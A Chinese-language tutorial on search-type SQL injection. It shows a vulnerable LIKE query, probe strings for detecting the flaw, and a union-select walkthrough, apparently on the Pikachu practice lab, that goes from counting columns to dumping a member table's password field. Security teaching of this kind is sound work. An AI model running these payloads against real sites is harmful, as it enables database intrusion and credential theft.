SQL注入-搜索型注入
——鲁迅曾经说过:“有数据库的地方就有SQL注入”
搜索型注入简介与原理
简介
一些网站为了方便用户查找网站的资源,对用户提供了搜索功能,因为是搜索功能,有些网站可能在编码时会忽略对参数(变量)的过滤,而这样的漏洞在互联网中普遍存在。
其中又分为post和get,get型一般是在网站上的搜索,而post则是用户名登录中常见的,可以从form表单的method="get"
属性中来区分书get还是post,搜索型注入又称文本框注入。
原理$sql = "select * from user where password like ' %$pwd% ' order by password"
用户输入 $pwd 查询响应的password
‘and 1=1 and ‘%’ =’
拼接后变为:
select * from user where password like ' % 'and 1=1 and '%' ='%' order by password
所以存在SQL注入
搜索型注入判断方法
1、搜索
keywords‘
,如果出错的话,有90%的可能性存在漏洞;2 搜索
keywords%
,如果同样出错的话,就有95%的可能性存在漏洞;3 搜索
keywords% 'and 1=1 and '%'='
(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况4 搜索
keywords% 'and 1=2 and '%'='
(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况5 根据两次的返回情况来判断是不是搜索型文本框注入了
下面这几种语句都可以:
'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%'='
测试过程
首先我们知道了测试的源码
$query="select username,id,email from member where username like '%$name%'";
1、我们可以输入’ and 1=1 order by x#
通过order by x来确定字段数
输入’ and 1=1 order by 3#
时返回了正常页面
而输入’ and 1=1 order by 4#
时就回显了报错:
所以字段数(列)为3
2、然后输入’ and 1=2 union select 1,2,3#
,回显了1、2、3:
3、证明1,2,3都可以回显。
输入’ and 1=2 union select 1,2,(database())#
就可以爆出当前使用的数据库名xxx:
4、输入’ and 1=2 union select 1,2,table_name from information_schema.columns where table_schema=‘数据库名xxx’#
,就得到了xxx数据库下的所有表名:
5、选出需要爆破的表,输入’ and 1=2 union select 1,2,column_name from information_schema.columns where table_name=‘member’#
,得到member表下的所有字段名:
6、然后输入’ and 1=2 union select 1,2,pw from pikachu.member#
,就得到了字段pw的内容